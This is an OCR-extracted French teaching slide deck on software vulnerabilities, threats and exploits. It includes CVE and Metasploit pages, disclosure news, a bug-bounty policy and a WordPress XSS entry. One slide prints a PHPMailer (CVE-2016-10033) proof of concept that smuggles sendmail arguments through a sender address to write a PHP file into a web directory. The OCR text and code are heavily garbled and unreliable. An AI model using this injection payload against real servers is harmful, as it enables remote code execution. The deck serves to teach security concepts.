M Les vulnérabilités informatiques

D’origines diverses : bug, laisser-aller, erreur, volontaire...etc
Créer une faiblesse dans un systéme, qu'une menace peut exploiter
Classées en catégories : materiel, logiciel, réseau, physique, humain..

Identifiants standardisés : CVE (Common Vulnerabilities and Exposures)
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cgit Directory Traversal

This module exploits a directory traversal vulnerability which exists in cgit < 121 cgit_clone_objects{), reachable when the configuration flag enable-http-clone is set to 1 (default)

Module Name

auxihary/scanner/http/cgit_traversal

Authors

Google Project Zero

Ch raj Mishra

References

CVE-2018-14912
URL: https://bugs.chromium.org/p/project-zero/issues/detail?id=1627

EDB-45148

Reliability

Normal



CVE Details

The ultimate security vulnerability dataspurce

wzaln Asuster

witch t s

Nulpsrabilives By Type
Heports :
CWES Score Repoet

Cyss S Digtributi
Saarch :

By Morogoft Raferenceg
Top 50 :

NEngars

Vendor Cwss Scores

External Links :

HyE Wisasite

CWE Web Site
View CVE ¢
(=ig.: CVE-2009-1234 or
2010-1234 or 20101234)
View BID :
[ [iGe
[e.g.: 12345)

Search By Microsoft
Reference I0:

(e.g.: msiD-001 or
579352)

Vulnerability Details : CVE-2018-14912 [1 Metasploit modules)

Vulnerability Feeds & Widgets™=

cgit_clone_objects in CGit before 1,2.1 has a directory traversal vulnerability when ° enable-http-dene=1" is net turned off, as demanstrated by a cgit/cgit.cgijgit/objects/7path=. / request, |
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- CVSS Scores & Vulnerability Types

CVSS Score T

Canfidentialty [mpact iThare iz considerabla informational disclesurs.)

Integriy [mpact Nonra (Thare is no impact to the integrity of the system)

Availability Impact Nopa (Thare is no impact to tha availability of the system.)

Mccass Complaxity Low (Spacalized aocsss condbons or extenusting arcumatancas do not axist, Vary ittle knowladge or skll = requred ta
explot. )

autkentication Not raquised [Autharbeation 2 net reguirad to axpiail the vunerakddy. )

Gained Access None

vulnerability Type(s) Directory traversal

CWE 1D il

- Products Affected By CVE-2018-14812

§ ProductType  Vendor Product  Version Update Edition Langusge

1 Application  Cait Prosect Cot 0,112 Vergion Detsils Yulnerabilitieg
z 05 Debian  Debian Linux 80 {'j \ersion Details yulnerabilities
3 05 Deban Dedian Linux 9.0 yersion Details Yulnerabilities
= Number Of Affected Versions By Product

Vendor Prouct Vulrerable Versions
Cait Projact Lot 1
Debian Detian Linus 2
= References For CVE-2018-14812

btims: v sxpiait-db.com/sxpioits/43193/
EXPLOIT-DB 45195
DEBIAN DSA-4262

MLIST [debian-lts-a

= Metasploit Modules Related To CVE-2018-14812



M Les vulnérabilités informatiques

D’origines diverses : bug, laisser-aller, erreur, volontaire...etc

Créer une faiblesse dans un systéme, qu'une menace peut exploiter
Classées en catégories : materiel, logiciel, réseau, physique, humain...
Identifiants standardisés : CVE (Common Vulnerabilities and Exposures)

Divulgation : full disclosure, responsible disclosure, darkweb, bug
bounty



Une vulnérabilité 0Day dans Windows a ete rendue publique
especter le délai canonique de 120 jours

Parce que Microsoft n'a pas

Le 26 septembre 2018, par Stepha calme, Chroniqueur Actualités

[ = | Sursapa affrme qu'elle a éte¢
§ | asenc "ODay" ou "zéro-day" étant heeie mnons au
' g I'expression signifiant une
. améliorez I'efiical " faille non Corrigée/non connue” icheurs qualifiés ;
e encourager lé Sigroramerncrcoponsuorc oo vanrTcragowcco roro-oay grace oacs INCItations financiére:

e protéger les clients Trend Micro contre les risques jusqu’a ce que le fournisseur concerné puisse dépl

La ZDI agit comme une plateforme entre les chercheurs en sécurité et les fournisseurs concernes :

« La soumission via le programme ZDI vous dispense egalement du suivi du bogue avec le fournisseur. Nou
de sécurité signalée, ce qui permet aux chercheurs de trouver d'autres bogues. Nous vous ferons savoir
“gardee silencieuse” car un fournisseur de produits ne souhaite pas y remedier.



Etude : 75 % des vulnérabilités de sécurité sont divulguées sur le Dark Web avant les sources officielles

En moyenne avant sept jours
Le 7 juin 2017, par Coriolan, Chroniqueur Actualités

La firme de cybersécurité Recorded Future a publié les résultats de sa recherche sur |a publication des vulnérabilités dans le Dark Web (la partie de la toile acc
recherche classiques généralistes) ainsi que les sources de sécurité avant qu'elles soient publiées dans la National Vulnerability Database (NVD), le registre
sécurité ainsi que leur niveau de risque.

Les résultats montrent qu'il faut compter des jours avant que les vulnérabilités divulguées sur le Dark Web soient listées et rendues publiques sur |a NVD et
décalage moyen de sept jours entre la diffusion publique et les notifications officielles qui sont envoyées aux organisations et les firmes de sécurité. 75 % des CVE (Comm
en ligne sur des blogs, des sites comme Pastebin, des forums de cybercriminels ainsi que le Dark Web, avant leur entrée dans la base de données,

Les données de |'étude révelent aussi quil existe un écart entre les annonces des vendeurs et la publication sur I3 NVD. Le meilleur temps enregistré a été seulement L
vulnérabilité ne soit publiée dans la NVD.

Plus de 1500 sources ont signalé la présence de vulnérabilités avant leur divulgation et 5 % des bogues qui ont été repérés sur le Dark Web avant leur publication off
trouvés dans les sources underground ont été publiés dans des langages étrangers.

Suite 3 ces résultats, Recorded Future remet en question |3 fiabilité des sources de sécurité officielles. « Cet écart entre la communication officielle et non officielle sur le
systémes d'information) et les équipes de sécurité, en les laissant involontairement livrés 3 des exploits potentiels sans la capacité de prendre des décisions stratégiques ¢

Les résultats de cette étude peuvent étre résumés comme suit :

¢ 75 % des vulnérabilités sont divulguées en moyenne 7 jours avant leur publication par la NVD. Cet écart est en train d'augmenter, ce qui complique |3 capacité des é¢
situation va s’‘empirer ;

e plus de 1500 sources ont rapporté plus de 114 000 fois des vulnérabilités avant leur publication officielle, y compris des sources de |la communauté de renseignemen

e les vulnérabilités a haute sévérité ont des écarts de divulgation plus courts en raison des efforts déployés la communication et I'assainissement des bogues sérieux.

¢ 5 % des vulnérabilités sont détaillées dans le deep et les dark web avant leur publication dans Ia NVD et elles ont un niveau de sévérité plus élevé que prévu. 30 %
majeurs comme Google, Apple, Microsoft et Oracle.



© Rules 33 changelog

Informations

A% 50€ Minimum bounty [=) Reports Accepted m & Hunters thanked @

Rules

"Alertez-nous au plus vite", "laissez-nous le temps
Bug Bounty Program - BlaBlacar | @ résoudre le probléme avant de le divulguer”,

PR S——— Ne causez pas d'indisponibilité du service", etc...

BlaBlaCar is the world leader in long-distance carpooling. We are an innoya g company building a unique community of members to transform the way people travel!

Since 2013, BlaBlaCar has grown exponentially and we're 40 millions members in more than 20 countries. Thus, we need to keep our member's privacy and data secure.

Reporting & Disclosure Policy

BlaBlaCar believes that working with skilled security researchers across the globe is crucial in identifying weaknesses in any technology. If you believe you've found a security issue in our products or services, we encourage you to notify

« Let us know as soon as possible upon discovery of a potential security issue, and we'll make every effort to quickly resolve the issue.

« Provide us a reasonable amount of time to resolve the issue before any disclosure to the public or a third-party.

* Please avoid DDOSing us or causing a service disruption while testing our platform. And take care of not endangering the privacy or our members.

« Do not try to over exploit the bug and access internal data for further vulnerabilities. We will determine the severity and reward accordingly.

* |f you find the same vulnerability several times, please create only one report and eventually use comments. You'll be rewarded accordingly to your findings.



M Les vulnérabilités informatiques

D’origines diverses : bug, laisser-aller, erreur, volontaire...etc

Créer une faiblesse dans un systéme, qu'une menace peut exploiter
Classées en catégories : materiel, logiciel, réseau, physique, humain...
Identifiants standardisés : CVE (Common Vulnerabilities and Exposures)

Divulgation : full disclosure, responsible disclosure, darkweb, bug
bounty

Identifier et corriger les vulnérabilités : tests, patchs, sensibilisation...etc



H Les vulnérabilités informatiques

© Exemple : faille XSS (Cross-Site Scripting) dans WordPress

CVE-2016-5834

CVE-ID

CVE-2016-5834 Learn more at National Vulnerability Database (NVD)
* Saventy Rating « Fu Informaton # Vulnerabde Software Versions « SCAP Mappings

Description
Cross-site scripting (X55) vulnerability in the wp_ger_attachment_ink function in wp-incudes/post-template, php in WordPress before 4,5.3 alows
remote attackers to mject arbitrary web script or HTML via a crafted attachment name, a different vulnerabdity than CVE-2016-5833.

Note: Relerences are provided for the corvenence of the reader to help distinguish batween vuinerabiites. The list is not intended to be camplete,

o MISChitps: Swpvuindb.com/vulnerabilities/85 18

* CONFIRM:IhEIps.//codex. wordpress, org/\Version 4.5.3

o CONFIRM: https:/fgethub, com/wordPressWordPress/commit/437 2cdfe sdofagc7abbdadendb? 281 ded e 32648
* CONFIRM:https: wordpress. org/ news/ 201 606 wardpress-4-5-37

» DEBIAN:DSA- 3630

o URL:hittp:/ e debilan.org/security/ 2016/ dsa- 3639

s BID:91368

o URLINEp:/feney, secuntyfocus. com /bed/91 368

® SECTRACK: 1036163

* URLIhip:/iwww. secuntytracker.com/s 1036163

Source : https://cve.mitre.org/cgi-bin/cvename.cgi’name=CVE-2016-5834




-
M Les menaces informatiques

Danger possible qui peut exploiter une vulnérabilité
Menaces « intentionnelles » ou « accidentelles »

Classification (selon Microsoft) : usurpation d'identité, altération des
données, répudiation des données, fuite de données, déni de service,
élévation de priviléges.

Exemples : ancien employé mécontent, tremblements de terre

Risques = Menaces x Vulnérabilités



M Les exploits informatiques

Programme ou technique qui exploite une vulnérabilité

Preuve de concept / utilisation illégale



N Les exploits informatiques

Exemple : exploit PHPMailer (CVE-2016-10033)



H Les exploits informatiques

Exemple : exploit PHPMailer (CVE-2016-10033)

// Attacker's input coming from untrusted source such as $_GET , $_POST etc.
// For example from a Contact form

%a
m

}
}

2

$msg_body

ddress = "customer_feedback@company-X,.com";

femail from = ""attacker\” -oQ/tmp/ -X/var/www/cache/phpcode.php
= "¢?php phpinfo(); ?»";

f/f mail(} param injection via the vulnerability in PHPMailer

require_once('class.phpmailer.php'};
$mail = new PHPMailer(); // defaults to using php "mail()"

fmail->SetFrom($email_from, 'Client Mame');

ail->AddAddress(faddress, "Some User");

fmail->Subject
$mail->MsgHTML($msg_body);

echo
else

ecno

if(!1émail-»Send()) {

"Mailer Error:

{

"Message sent!\n";

= "PHPMailer PoC Exploit CVE-2016-18033";

. fmail-»ErrorInfo;

some”@email.com’;

Contact Support

Name

Email

Subject

Message



H Les exploits informatiques

Exemple : exploit PHPMailer (CVE-2016-10033) CoRmaa GG

f{ Attacker's input coming from untrusted source such as $_GET , $_POST etc.
// For example from a Contact form Name

femail_from = ""attacker\™ -oQ/tmp/ -X/var/www/cache/phpcode.php some”@email.com’;
Emsg_body = "<?php phpinfo(); ?»";

Ernail
Bloemmnan-cenene
Dans Cet exemple, Ies njection via the vulnerability in PHPMailer Subject
informations PHP sont récupérées ace(’class.phpmailer.php’);
. 2 PHPMailer(); // defaults to using php "mail()"
pour l'exemple avec phpinfo S
tFrom({$email _from, 'Client Name'); Message

63| Saddress = "customer_feedback@company-X.com";
64 §mail->AddAddress(f$address, "Some User");

Smail->Subject = "PHPMailer PoC Exploit CVE-2816-18833";
fmail->MsgHTML($msg_body);

if(1$mail->Send()) {

gcho "Mailer Error: " . $mail->Errorinfo;
} else {

echo "Message sent!\n";

}
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